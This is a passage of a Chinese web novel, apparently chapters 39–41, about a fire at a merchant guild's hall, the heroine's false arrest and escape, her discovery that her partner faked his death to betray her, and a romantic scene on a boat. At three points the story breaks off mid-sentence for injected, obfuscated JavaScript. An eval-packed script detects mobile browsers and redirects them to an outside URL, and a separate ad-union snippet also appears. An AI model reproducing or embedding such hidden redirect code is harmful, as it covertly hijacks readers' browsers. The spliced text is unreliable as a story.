罗树伤还未好全,也坐上了马车,令人意外的是,赵鹏毅也挤了进来。 陶蔓带来的马车算不上小,但坐了五个人,实在有些挤。 乔怀潇觉得赵鹏毅一定是有话要问罗树,便主动说道:“我去骑马。” 她下了马车,赵鹏毅手下的军士牵来一匹马,“乔姑娘,骑这匹吧。” 乔怀潇定睛一看,不就是那匹黑骏马吗,她有些意外之喜,踩上马镫上马,拍了拍马脖子,谁知道这马的脾气不小,立刻超前暴冲。 乔怀潇被颠的一个踉跄,马上反应过来扯住缰绳,借力趴在马背上,才不至于被马儿的飞驰给扔下去。 “噔噔”的马蹄声吸引了马车上的人的注意,陶蔓掀开车帘,只见马带着乔怀潇飞奔而去的影子,她神色紧张,发作道:“这马野性未驯,牵出来做什么。” 赵鹏毅没说话,乔高湛脸色也不好看,质问:“你以为我刚刚和你说的是假话吗?” 就在乔高湛要人去追乔怀潇的时候,她坐在黑骏马上,手上轻轻拉着缰绳,微微仰头,笑着回来了。 “果真是一匹良驹。” 陶蔓松了口气,却听到身边传来衣物摩擦的声音,扭头一看,是先前一言不发的赵鹏毅下马车去了。 “诶。”陶蔓想叫住他。 乔高湛按住了陶蔓的动作,他看着赵鹏毅走到乔怀潇身边,“随他去吧,”放下了车帘。 喘着粗气的黑骏马眼中闪着恣意狂跑后的光,乔怀潇一下一下摸着它的头,赵鹏毅靠近,手刚刚想摸上它的脖鬃毛,马儿就测过了脑袋。 “它认你为主了。”乔怀潇第一次在赵鹏毅脸上看见这样温和的笑意,“千里马常有,而伯乐不常有,既然如此,这匹马就送给你吧,听说乔姑娘直面波利骑兵,有勇有谋,当配如此宝马。” 这下乔怀潇是更加意外了,明明早上的酱菜白粥的味道还残留在唇齿中,这一份大礼实在是送得没有由头,还是说,赵鹏毅就是这样一个喜怒无常的人? 乔怀潇想到陶蔓方才说他青年丧妻,目光中便不自觉带上了一分包容,“如此厚礼,我却之不恭,我先谢过赵总督了,云边屠村之事,我一定为总督鞠躬尽瘁。” “鞠躬尽瘁不敢当,乔姑娘言重了。” 两人说话之时,从远处传来士兵的传信声。 士兵奔到赵鹏毅面前,正打算附耳轻言,赵鹏毅挥了挥手,“无妨,乔姑娘不是外人。” “回禀总督,昨日被罗树指认的那名商人名为翁柯,今日小的带人前去他家查看,发现里面空无一人,他是雁帮商人,便想着去雁帮查看一番,结果……” “结果什么?” 士兵看了一眼乔怀潇,又低下头去,“结果今早,雁馆起了火,火势不小。” 这个火势不小听上去很是不妙,乔怀潇压低了眉头,“怎么在这个时候起火?里面的人呢?” “还在救火,并没见到有人出来。” 赵鹏毅立刻嗅到了不对劲,队伍本就整装待发,他当即下令,“出发,长平!” 乔怀潇一马当先,领着队伍浩荡开拔。 抵达长平城外时,乔怀潇似乎闻到了焦味,但她很快摇头,此时已是正午时分了,再大的火也应该被扑灭了,怎还会传到城外来。 但等到她赶到雁馆,心中的侥幸被打得粉碎。 雁馆外围了不少百姓,对着冲天的火势指指点点。 乔怀潇没有听清,火光照印在她的瞳孔上,照印在她的皮肤上,很热。 陶蔓拉住了她,乔怀潇都忘了是怎么挣脱开她的手的。 陶蔓也是第一次感觉到乔怀潇的力气,她推开她的手,义无反顾就朝里冲去。 赵鹏毅猛地对后面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13659548|136210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喊道:“愣着干什么,快一起去救火啊。” 雁馆里烟气熏天,乔怀潇弯腰捂住口鼻,正巧碰上一个朝外跑的小厮。 “小帮主,快去救帮主,帮主把我们救出来了,他人还在雁楼!” 乔怀潇怔然望去,雁楼位于中心,正是火势最猛烈的地方。 乔怀潇朝前跑去,屋影带着浓重的黑屋从眼前滑过,她想,现在终于是有机会可以说说他了,当初为什么要把雁馆修建得大。 现在好了,她气喘吁吁的在雁楼停下,大喊:“迟彻!” “你在哪儿啊?没死就吱个声!” 火舌舔舐过房梁,房梁朝下挪动,发出吱呀声,接着重重的砸在地上。 乔怀潇眉头蹙起,一咬牙,打湿手帕捂住鼻子,冲了进去。 好在屋内火势没有在外面看得那么吓人,但是浓烟迷得乔怀潇几乎睁不开眼睛。 她一步步走近,在走过拐角时,因浓烟而眯起的眼睛有一瞬间的定神。 那个供案上原来好像放着一座神像,还等不及乔怀潇多想,一道虚弱的求救声响起。 “迟彻!”乔怀潇敏锐的捕捉到了,她寻着声音看去。 在一个书桌的后方倒着一个人,乔怀潇赶紧跑过去,试图把他推醒,“迟彻,醒醒,快醒醒。” 男人的脸朝乔怀潇怀里倒去,在看清他样子的时候,乔怀潇捂住口鼻的帕子从手里滑落。 等乔怀潇反应过来的时候,她已经灌进好几大口的烟熏气,猛地咳嗽起来。 乔怀潇强忍住喉咙里的痒意,二话不说将谢昱行揽了起来。 谢昱行虽然虚弱,但没有完全失去意志,手缠着乔怀潇的腰部,两人支撑着朝外走去。 门在这一刻显得格外的远,乔怀潇屏住呼吸,开始感到脑袋发沉。 就在这时,房梁上烧掉下来的木屑掉在乔怀潇的后颈,接着滑下了后背。 后颈和背部传来烫伤的痛意,乔怀潇脑中的那根弦瞬间被烫得发紧,她咬住下唇,唇齿间尝到血腥味,才不至于在紧要关头掉链子。 掺着谢昱行走出门外的一霎那,乔怀潇第一次觉得空气的清新的弥足可贵。 走到安全地带,她没了力气,谢昱行更是将重量完全压在了她的身上。 乔怀潇一愣,拍了拍谢昱行的脸,声音发抖,“你醒醒,别睡!” 谢昱行很想做出反应,但只有黑色的意识在挣扎,死亡的气息笼罩过来,几近让他窒息。 就在恐惧油然而生的下一刻,谢昱行感到一片柔软的触感,带着咸腥的血腥气,他不自觉松开牙关,接着有空气流通起来,冲散了他的窒息。 乔怀潇俯下了腰,她的唇贴着他的唇。 谢昱行感到了滴落在自己发烫的皮肤上的一滴冰凉,感官似乎回笼。 他听见了她喊着自己的名字,“谢昱行。” 天色更改,风云变幻,一道道银丝滑过天际,一遍遍浇打在火场之上。 “谢昱行,下雨了。” 39. 野神 满天的火光,逐渐展开的雨幕,空气中传来灰烬的味道。谢昱行靠坐在地上,虽然原本白瑕的脸上沾上了灰尘,但呼吸渐渐回到正常的频率。 刚刚是情急所至,现下谢昱行已脱离了生命危险,乔怀潇松了口气,目光滑至他的嘴唇,有些许濡湿的质感。 她什么也没想,只是行动先于大脑,不自觉地再次低下了头,嘴唇碰上他的嘴唇,轻轻的。 也没有什么特别的感觉嘛,乔怀潇直起了身子。 谢昱行眼皮有所波动,缓缓睁开眼睛,乔怀潇咳了咳,终于找到机会问了:“你怎么会在雁馆?” “我来查那个商人的底细,约好了迟彻在这儿见,结果西苑突然起火了。”谢昱行的神色有些奇怪,“迟彻去救火了,我想在雁楼看看还有没有线索,没想到火势蔓延得这么快。” “什么线索比得过命,起火了还不走,你不要命了?” 谢昱行搓了搓漆黑的掌心,这是他倒下时候沾上的灰烬。 乔怀潇却看见了他嘴角微微的笑意,有些生气,“你还不觉得后怕吗,下一次遇到这种情况,你也要这样不顾性命吗?” 谢昱行摇了摇头,“多亏了你把我背出来。” 乔怀潇有些理解不了他的想法,比起被救,难道不是不要让自己陷入危险更重要吗?怎么越活越回去了,这点道理都不明白,她扫了谢昱行一眼。 “那迟彻呢?” 谢昱行正要说话,杂乱的脚步声传来,士兵喊着乔怀潇的名字,“乔姑娘!” 乔怀潇探出头去应了声,赵鹏毅的手下看见了她,脸上先是露出喜色,又被一种难言的神色所替代。 “乔姑娘,西苑发现了尸体,将军命我们来寻你。” “尸体……”乔怀潇的脸色凝重起来,她低头看谢昱行,“谢昱行,要不你回去……” 谢昱行手撑着地站了起来,和她并肩,“我和你一起去。” 乔怀潇朝西苑走去,路上的屋宇经过大火后的成了断壁残垣,原本锦绣敞华的雁馆变得满目疮痍,这场大火远比她想象的大的多,几乎将她的事业给烧了大半。 “潇儿,你跑哪去了?急死我了。”陶蔓见她完好无损的出现,连忙迎了上去。 “谢大人怎么这副样子。”陶蔓嘀咕了一声,又立刻惊讶极了,“潇儿,你后颈上这么红了一块,这是怎么了?” 乔怀潇来不及回陶蔓的话,她在赵鹏毅和乔高湛的注视下走向了被白布盖着的尸体。雁馆里的任何一个人,她都不想他们出事。但偏偏,地上的尸体足足有三具。 “小帮主。”罗树担心的跟着她。 西苑紧邻着街道,百姓们围在一旁,张望着这边的情形。 乔怀潇走近了些,但她有些不敢去掀开白布,在救出谢昱行的时候,她还没有想过会有现在这种后果。 直到谢昱行被烟呛过的喉咙发出压低的咳嗽声时,乔怀潇才回过神来,她猛地拉开白布。 罗树瞬间侧过头去,发出一声干呕。 乔怀潇有一瞬间的眩晕,谢昱行立刻搀住她。 乔高湛见她神色有异,问道:“这是谁?” 乔怀潇再次将目光投射在那具烧毁的尸体上,声线轻颤,“陈所得左手的小拇指断了半截,地上那人的尸体……” 听见乔怀潇的话,赵鹏毅蹲下查验,接着站起来,点了点头。 陶蔓不可置信道:“怎么会这样,这孩子前两天还来找我讨排骨汤喝。” 一股西风吹过,压抑的氛围席卷了在场所有人。 一道尖利的哭声响起,直直的钻入众人耳里。 人群中冲出一个哭喊的妇人,“姓汪的,你死哪去儿了!” 她扑到地上的尸体旁,掀开剩下的两块白布,在看到了自家夫君被大火侵蚀过的身体后,她僵在原地,仅存的希望彻底破碎,变成了嚎啕大哭,“你个丧尽天良的,就这么抛下我们母子走了,以后你要我怎么办!” 有从雁馆里跑出的幸存的小厮,低声安慰她,“许娘子,你节哀顺变。” 乔怀潇认出先前进来的时候遇见过他,她掐了自己一把,强作镇定问道:“张仲,今天陈所得应该不在雁馆吧,他是不是去仓房验货了?” “仓房的货陈哥派别人去了,陈哥说要在雁馆等小帮主平安回来。”张仲看着乔怀潇的脸上的血色瞬间消失殆尽,心里是一阵后怕和苦涩交织。 他的声音艰涩无比:“帮主……帮主也在雁馆里没出来。” “怀潇,你脸色怎么这么白。” “你还好吗?你听我说,这不一定就是迟彻,脸和身体都烧得看不清了,咱们等仵作来验明正身。” “听见我说话了吗,阿滢?阿滢!” 谢昱行的语气一次比一次焦灼,但乔怀潇的耳边出现的嗡鸣声盖过了一切。 乔怀潇感到手脚有些发软,她深吸一口气,拼命让自己镇定下来,喊道:“人呢,人都去哪儿了?” 一队身着短打模样的人物赶到,为首的在乔怀潇面前站定,“主子,是拿来建新学堂的木材,堆放在西堂起了火。” “你们在长平是怎么看家的?这么大的火说起就起了吗?看到我发出的紫藤花令才来,干什么吃的!” 乔怀潇喘着气,在原地来回的走,越想越觉得无法接受,怎么可能一场火就把雁馆给烧了,把他们给烧成这副模样? “不可能,不可能。” 然而就在她心乱成一团的时候,对上了一双恶狠狠的眼睛。 哭喊的妇人盯着她,站起来,大喊道:“都听见了吧,新学堂是她要建的,我看今天这场火是她故意放的,迟帮主一直就不同意她搞什么学堂。” “我早就听我家的说过了,雁帮的二把手是个女人,一直看不惯帮主,今天可不就接机杀人夺财了嘛!” “你胡说什么!”乔怀潇的手下立刻反驳。 围观群众却喋喋不休,“他们雁帮不是经常和波利做生意吗,昨天就听说这女人勾结波利贼人被抓了,今天一看,八九不离十了。” “通敌叛国,抓 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 起来!” 妇人从袖中掏出一物,“看看,都看看,这是这女人和波利来往的书信,我家的偷偷给我的,我家的一定是知道了她的秘密,被她给灭口的。” 谢昱行看着那个妇人,眼皮一跳,他必然不会相信此人的胡言乱语,但长平中不少人的亲属就在云边村的事变中死去,城中近日弥漫着百姓愤懑的请战。 此时群情激愤,眼看着就要朝着不可收场的势头去了。 “赵总督,想想云边村枉死的百姓,想想今日的火灾,快把她抓起来!” 赵鹏毅的脸色早就冷了,他朝身后的手下挥挥手,“岂有此理,今天的事情必须给大家一个交代。” “把人带走,下狱!”赵鹏毅高声吩咐道。 “你敢!”乔高湛不可置信的盯着他。 陶蔓正要爆发,却听见了赵鹏毅压低了声音对他们说:“信我。” 谢昱行同样听见了,心中生出疑惑来。 乔怀潇心乱成麻,她回头看了一眼地上的尸体,浑浑噩噩的跟着士兵离开。 才一天不见,就彻底阴阳两隔了吗?迟彻和陈所得就这么死了…… 还有雁馆,里面有雁帮的所有资料,是雁帮的核心,亦是她所有心血的凝聚。 不知何时,四周的光线变暗,乔怀潇发觉自己真的走进了地牢。 看着铁门在眼前重新关上,看着四周坚硬的石壁,地上杂乱的枯草,乔怀潇心中生出一股浓浓的无力感,同时,她感到无比的慌乱。 乔怀潇鲜少有这种捉襟见肘的感觉,就好像有一股无形的力量一直在阻挠着她,这股力量她看不清,却实实在在为此感到碰壁。 “到底是怎么回事?”乔怀潇的身体靠着墙滑下,她使劲的按住自己的额角,脑中不断闪过方才尸体面目全非的可怖模样。 乔怀潇忍不住生出呕意,空荡的牢房中回荡着她的干呕声。 “天上白玉京,十二楼五城。仙人抚我顶,结发受长生。误逐世间乐,颇穷理乱情。” 乔怀潇愣了愣,隔壁继续传来声响。 “时命乃大谬,弃之海上行。学剑翻自哂,为文竟何成。剑非万人敌,文窃四海声。” “姑娘,你大喜啊。” 隔着牢房,乔怀潇看不清见说话人的样子,她本就心烦意,忍不住出声道:“本姑娘都下狱了,哪来的大喜?” “福祸相依,犹未可知,姑娘只要在我这儿算上一卦,保管你五感清明,小鬼不敢近身。”说话者身上的黄纸气息飘了过来。 乔怀潇刚要嗤一声“神棍”,脑中却在这时候想起赵真君的神像。 她一顿,随后轻笑,“什么算卦,我只信赵真君,赵真君福佑四方,我只要拜她,什么事都能化险为夷。” 乔怀潇话音刚落,说话者一扫先前的平和,骂道:“世风日下,恬不知耻!赵真君这种半路出家的野神也有人信奉了,呸呸呸,是我看走了眼,你这种人能有什么造化。” 乔怀潇的声音也陡然一变,质问道:“野神?” 40. 背叛 “我刘爷不说上知天文下知地理,那也是博古通今,我可从未听过有赵真君这么一位神仙,十有八九是为了骗供奉,瞎扯出来的人物。”刘明明哼了一声,“你要是信她,往后可没什么福气。” 乔怀潇猛地站了起来,她就说哪里不对劲,这个赵真君不对劲,迟彻也不对劲! 她回想起来了,在雁馆救谢昱行的时候她扫了一眼供桌,原本供桌上是放着赵真君的神像的,迟彻向来珍之重之的摆着供奉,怎么就偏偏在今天不见了。 “诶,我说姑娘,你好端端的怎么信奉什么赵真君。要我说,你去拜土地公都比这个好,不够今天你碰上我,就是天注定的,我这有平安福桃花符,各种符纸应有尽有,你看看你要什么?”刘明明从牢房的栏杆中探出头,朝隔壁牢房看去。 但隔壁牢房根本没有人,刘明明吓了一跳,他往右一转头,对上了一个年轻姑娘的视线。 乔怀潇收起从士兵身上顺来的钥匙,朝刘明明投去一眼,抬手在脖子上以手作刀化了一线,那神棍立刻缩起脖子,不敢声张了。 她看准时机,趁着左右无人沿着狭长的通道朝外走去。 牢里的风都带着粘腻的气息,乔怀潇加快脚步,就在看到了门口烛火的光线时,传来了士兵的谈话声,“里面那神棍今天该放出去了吧。” 乔怀潇躲闪不及,正好和两个士兵撞上,她面色一紧,正打算出手,士兵却像没看见她一样,自顾自转身离开了,他们的声音飘散在转角后,“啊,是吗,他招摇逛骗,上官说要再关两天。” 大门就在不远处敞开着,乔怀潇歪了歪头,来不及细想,飞快的闪身出去。 外面的天色已经暗下来了,乔怀潇并没有花什么力气,就从侧门离开了府衙,她走进一旁的巷子,察觉到了身后刻意隐藏的脚步声。 她转过身,果不其然看见了胥元白领着鸿雁队的人赶到。 “主子,有什么吩咐?” “元白,你带一队人去排查长平里雁帮商铺和人马的情况,另一队人跟我去雁馆再探,今天的火起得实在蹊跷。”乔怀潇攥紧了手,“尤其是迟彻管辖的地方,仔细排查。” 胥元白垂眸应是,并不多问为什么,他是乔怀潇一手栽培的鸿雁队队长,做事冷酷干净不折不扣,是乔怀潇心腹中的心腹。 看着他领命而去,乔怀潇深吸一口气,重新踏上去往雁馆的路。 月似银钩,印照出雁馆大门的断壁残垣,乔怀潇拾阶而上,心中生出一丝荒凉的悲哀,事情怎么就变成了这样。 她到了迟彻所住的雁回堂,这是乔怀潇第一次以审视的目光来打量这个地方,雁回堂虽然有大火烟熏过的痕迹,但里面的陈设还可以依稀分辨原本的模样。 门口的山水纹屏风还是乔怀潇送给迟彻的生辰礼,乔怀潇绕了过去走进内室,并没有发现雁回堂有什么特别的地方。但其实回顾和迟彻相识的这几年,乔怀潇觉得迟彻和常人是很不相同的。 他驯鸟养马,语言天赋很高,等等,乔怀潇神情顿了顿,飞快朝外走去,“我记得迟彻就在门口这个院子驯传信的灰雁。” “全不见了。”鸟笼中空空如也。 手下回道:“灰雁这两天都被派出去送信了。” “一只不剩,真有这么巧吗?”乔怀潇疑心已起。 就在这时,杂乱的脚步声传来,伴随着来势汹汹的势头。 “就是她纵的火,害的我家老汪被火烧死了!必须把她抓起来偿命!” 乔怀潇一眼就认出是先前那个情绪失控的女人,不想和她多纠缠,“若是你真的为你夫君的死不值,就该冷静下来想想这火来得蹊跷,找出谁才是幕后真凶。” “除了你还有谁?”女人大叫起来,“你们都看看这冷血的女人,迟大帮主刚死,她就和没事人一样,要说这件事和她没关系,我根本就不信。” 围在女人身边的都是一群精壮男子,脸上愤色不平,“果然和波利人做生意的都不是什么好东西,有一个算一个,都给我滚出长平,滚出大庆,这儿不欢迎你!” “不对,她不是应该被赵总督关进牢里吗?果然这些做官的都不能信。”男人纷纷起哄,“必须要个说法,我们把她抓起来!” “抓起来!抓起来!”男人们高喊道,挑战的血性已经越过了理智。 这个状况属实是在乔怀潇的意料之外,猝不及防就有人朝她扔石子。 鸿雁队的手下挡在乔怀潇的面前,但还是有一颗石子正好打在她后颈的烧伤上,乔怀潇“嘶”了一声。 “都给我住手!”“你们给我住手!”“不许仗着乔姑娘人好就乱打人!” 乔怀潇随着声音看去,愣在了原地。 十几个普通打扮的陌生人突然冲了过来,将挑唆闹事的男男女女围住,把宽阔可靠的后背留给乔怀潇。 被护犊子似的护在中心的乔怀潇还没有反应过来,“你们是……” “乔姑娘,你别担心,你救了我们云边村这些人的命,我们不会让任何人欺负你。”陈丰握着手里的镰刀,向着闹事的许娘子逼近了一步。 “你个瘸子在这儿说什么呢!我警告你,你给我闪开,这女人就是个卖国贼。” “你们才是猪油蒙心是非不分!如果不是乔姑娘,我连当瘸子的资格都没有,在云边村我们剩下这些人都要被波利人给杀了。” “乔姑娘是好人,不是卖国贼,谁也别想把脏水泼到她的身上。” 云边村的村民齐声喊道:“想把乔姑娘带走,除非你们踏过我们的尸体。” 许娘子的脸被他们挡住,那些抨击的话被他们隔开,乔怀潇听见的只有村民们坚定维护她的声音。 她张了张嘴,看见了谢昱行,看见了罗大娘、王羌他们,还有罗树、罗大娘,还有很多很多人,都在朝着她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733987|136210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方向走来。 罗大娘在罗树的搀扶下走来站定,她已经比乔怀潇上次在学堂见时有精神多了,从前那个热心肠的妇人的影子又回来了,她开口道:“各位看看,我们都是云边村那日受到乔姑娘援手的人,你们今天要是在这儿说乔姑娘的不是,不仅完全站不住脚,更是完全拎不清的糊涂蛋子!” 许娘子被她说得脸一红,她带来的人还要强词夺理,其中一个男人捕捉到人群后站着的赵鹏毅,立刻喊道:“赵总督,你不是把她抓进牢里了吗?怎么她又出现在这儿,还有云边村的人怎么突然就到了城里,我看你们就是勾结!” “就是,我们可不受你们的骗,抓起来,押到外面让让大家都评评理。”说完,男人纠集身边的几人就要朝乔怀潇扑去。 王羌、包福、齐保立刻倒腾着小短腿跑来,在乔怀潇身前打开双臂,“你们不准欺负乔姑娘。” 两方都拉扯起来,包福本就个子小,推来搡去的夹在人群里,摔倒在了地上。 包父立刻不干了,喊起来:“都给我起开!我家孩子都说了乔姑娘是好人,你们真是胡搅蛮缠!” “就是就是,没见过你们这样子的,小孩子说的都是真话,你们大人真是没个大人的样子。” 这几个孩子的父母上次的胡搅蛮缠还历历在目,此时又开始给自己帮腔,这感觉很奇妙,乔怀潇很轻很轻的笑了一声,她的心情完全没有因为许娘子的胡言乱语而低落,反而比方才要好上许多。 原来她的好真的被人看见了。 谢昱行注意到她神色的细微变化,终于松了口气。 倒是赵鹏毅的脸色确实越来越难看,谢昱行带来的都是些什么人啊,一点规矩都没有,他忍不住吼道:“都给我撒开手!” 身后的士兵步伐整齐的上前控住局面,但转折就在这一刻发生。 不知是谁碰到了屋外的石灯柱,“咔嚓。”一声很细微的声音在雁回堂里响起。 乔怀潇离屋内最近,她敏锐的眯起眼,朝屋里跑去,众人跟在她身后进去,看见了屏风后的柜子后,明晃晃的打开了一个密门。 密门之后,幽深向下的台阶出现在众人眼中。 罗树深吸了一口气,“是暗道。” 那股阻碍乔怀潇的力量终于露出了一角,乔怀潇攥紧了手。 胥元白在此时赶到复命,他的视线从场上所有人上转过,接着垂眸,大声的说道:“今日小的盘问迟彻所辖的雁帮铺子的掌柜得知,迟彻在两个月前就开始将资金回收,以带商队去外邦购物资之名把大量资金换成金条取出,还带走了打手、算房、小厮共十三名。” 乔怀潇垂下眼睛,看向通向地下,黑暗幽长的暗道,喃喃道:“好,很好。” 谢昱行上前一步,却在看见乔怀潇的动作后大惊失色,“你要干什么?” 乔怀潇走入暗道的动作不停,“我最讨厌背叛。” 41. 孤舟 “乔怀潇!”陶蔓严厉的呵斥住她。 乔怀潇回头,看见了欲言又止的陶蔓,她神色变幻,最终却也只是轻声道:“赵总督和你一起带兵下去,好吗?” 乔怀潇怔了一下,点头,赵鹏毅立即点了一队人跟在她的身后。 狭长的地道里回荡着他们的脚步声,乔怀潇点亮火把,这才发现谢昱行也跟了下来。 时间一分一秒的过去,乔怀潇只说了一句“走吧”,就继续步履匆匆的朝前去了。 赵彭毅敲了敲石壁,哼了一声,“这地道没个一年半载是建不完的。” 乔怀潇的视线投向黑漆漆的前路,她从来不知道雁馆有这么一条地道,也很难想象,迟彻在建造雁馆时瞒着她这么做的样子,当时他就想好了会有今天吗? “前面是什么?”谢昱行的声音将乔怀潇的思绪拉了回来。 她走上前,看见了一片空旷的空间,和狭窄的地道不同,这儿放了桌椅。 议事厅,乔怀潇几乎立刻就想到了这儿的作用,她走上前,目光微闪,她看见了桌子上唯一放着的东西。 是那个金算盘。 谢昱行把它拿了起来,乔怀潇不告而别的那天,谢昱行就在迟彻的身上见过这东西了,只是没想到它会再次出现在这儿。 赵鹏毅还在状况外,“这肯定是迟彻落下的,他们一定是从这儿出的城,我们快追!” 乔怀潇摇头,“不,他是故意放在这儿的。” 谢昱行和她有相同的感受,他攥紧手中的金色挂件,坚硬的棱角戳着他的掌心,“我们被耍了。” …… 刚刚下过雨,原本空气中的烟熏味被洗去了不少,但是守城门的士兵还没搞清城里发生了什么,这一天里,进出城门的人比往日都多,他们净忙着查验身份了。 “记住了,城中戒严,不要随便放人出城门,这可是赵总督亲自交代的。”小兵记着师傅的交代,不敢疏忽。他严格照吩咐办事,立刻拦下面前要出城的一行人,却遭到师傅拍上他脑袋的巴掌。 带队的人拱了拱手,朝他们解释道,“我们是奉了总督之命去云边村的,和先前那队是一起的。” 老兵连连点头,“是,是,先前我们都查过手谕了,大人请。”他殷勤的派人撤去路障,放人出了城门。 陈所得就这样轻松过了关,一行人坦坦荡荡的出了城门。 陈所得朝身后的马车看了一眼,颇有些好奇,“少主,你说那赵鹏毅派人去云边村做什么?” “谢昱行的主意罢了。”马车中传出声音,“雁馆失火,你我身死,乔怀潇必然又要受到质疑,这个时候那些云边村的村民就是洗去质疑的最好的佐证。” 一声笑倾泻出来,车帘被挑起,露出迟彻的脸,他看着陈所得,“乔怀潇不会有事的,现在你放心了?” 陈所得攥紧手中的缰绳,后又放松,笑笑,“我担心她做什么,我怎么会担心她。” “你是不该再担心她,多担心担心我们自己才是。”迟彻嗤笑一声,“如果不是她横插一脚,大庆早该对波利出手了。” “不过也好,我们是时候该回家了。” 一声鸟叫响起,迟彻转头看见了一旁的胖肚,它长大了不少,羽毛油光水滑,一双眼睛炯炯有神的看着迟彻。 迟彻伸出手来,它便乖乖的站在迟彻的手背上。 “雀鹰虽小,仍是猛禽,是她有眼无珠了,对吧。”迟彻指尖抚上它的羽毛,“大漠的天际才是你的归宿。” …… 就在见到那个金算盘的时候,就在乔怀潇立即察觉到不对之后,还是晚了。 赵鹏毅派出几队人马分头追踪排查,最后查到在谢昱行派人去云边村的时候,有另一队人马假借这个名义出了城,而在云边村的村民进城时,又有人趁乱从城中出去了。 他们立刻就反应过来,那是迟彻。 赵鹏毅大为火光,原本他一直以为长平在他的驻守下会固若金汤,却还是让人给溜了,而且,他还不能说谢昱行派人去接云边村村民进城替乔怀潇正名这件事做错了,他一掌拍碎了公案,气得不轻。 下属哆哆嗦嗦的探头,赵鹏毅不耐烦的看向他,“什么事?” “乔姑娘不见了。” 赵鹏毅脸上的怒色瞬间消失的一干二净,只有着急和担忧,朝外走去,“还不快去找!” 谢昱行得知这个消息要比赵鹏毅早上一些,与此同时书礼也回来了,“大人,你派我查的东西查到了。” “先去找人。”谢昱行步伐匆匆的离开。 他最先想到的是雁馆,但雁馆仍是是一副破败荒凉的样子。手中的金算盘提醒了他,谢昱行朝雁馆下属的归宁驿站赶去。 归宁驿站里,一地的血迹,先前闹事的许娘子脸色惨白的倒在地上,谢昱行伸手去探她的气息,确定她还活着后方才松了一口气。 天地俱暗,没有质疑声,没有争论声,看着满天的璀璨星河,乔怀潇抬起手,酒壶倾斜出甘烈的酒水,倒进嘴里。 风微微的吹来,乔怀潇感受着身下小舟的摇晃,闭上了眼。 一旁的芦苇荡同样被风吹来,发出细微的声响,乔怀潇喝着酒,睁开了眼,谢昱行就这样撞进她的视线。 “你……” 顺着谢昱行的视线看去,乔怀潇看见了自己指尖的血迹,她轻笑一声,将手浸入河水。 冰冷的水包裹住她的手,她冷冷道:“你知道我问出什么了吗?” “她说那三具尸体都是假的,是迟彻挑唆她向我泼脏水的。” “所以我给了她一点教训。” 谢昱行眉头蹙起,“这是动用私刑。” 乔怀潇笑了起来,“进入雁帮都要歃血为盟,立誓绝不背叛,可是我现在才发现,只有我当真了。” “都是假的。”乔怀潇抬手,酒壶里却没有了酒,她猛地将酒壶砸了出去,酒壶却只是在湖面上微微下陷,随后又浮出水面,“什么生意,什么雁帮,都是假的,都是骗子。” 谢昱行站在岸上,月光洒在他的身上,一副遗世独立的君子模样,乔怀潇看着他这样子更加心烦,转过身子不去看他,“你一定觉得我很蠢,被你骗了一次,现在还是不长记性。” 话音刚落,身下的小舟就猛地一晃,在水面飘动起来,泛起强烈的涟漪,还没等乔怀潇坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13770446|136210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直,谢昱行就和她面对着面,眼对着眼。 小舟本就狭窄,乔怀潇敏锐的感觉到他温热的气息,同时还闻到了自己身上的酒意。 乔怀潇怀疑自己是真醉了,她看见谢昱行的视线带着侵略性,“但我骗过你,你也没有这样对我。” “你远比你以为的还要担心我,你很在意我。”谢昱行一步步靠近,他还记得大火中乔怀潇为他弯的腰,声音越发轻缓而具有迷惑性。 谢昱行的双手揽在乔怀潇的身后,几乎将她包裹进了怀里。 乔怀潇的双手支撑在身侧,在谢昱行吻上来的霎那间就松了劲,她几乎完全陷入了谢昱行的陷阱。 一弯明月,一艘小舟,一对璧人,风又吹过湖面,岸边的芦苇被吹得沙沙作响。 明明隔得很远,但乔怀潇就是觉得芦苇好似在自己的掌心摇曳,甚至被吹进了心底,细细的绒毛让她不得不生出痒意,以至于在感到唇边湿润的触感后,她才猛地反应过来,一把推开了谢昱行。 她看着遥远的岸边,环顾只有他们这一艘小舟的湖心,指着谢昱行气急败坏道,“你……”你了半天,才重新组织好语言,骂道:“趁人之危的小人!”枉她刚刚在月光下还觉得谢昱行是个正人君子。 这幅样子活脱脱就像猫被踩了尾巴,谢昱行倒有些后悔,在火场乔怀潇主动吻他的时候,他就该睁开眼睛才是,他的笑从眼睛里倾泻出来,“我们现在在一条船上了,你叫破喉咙也没用。” “谁要和你一艘船,无耻。”乔怀潇拿起袖子狠狠擦过唇角。 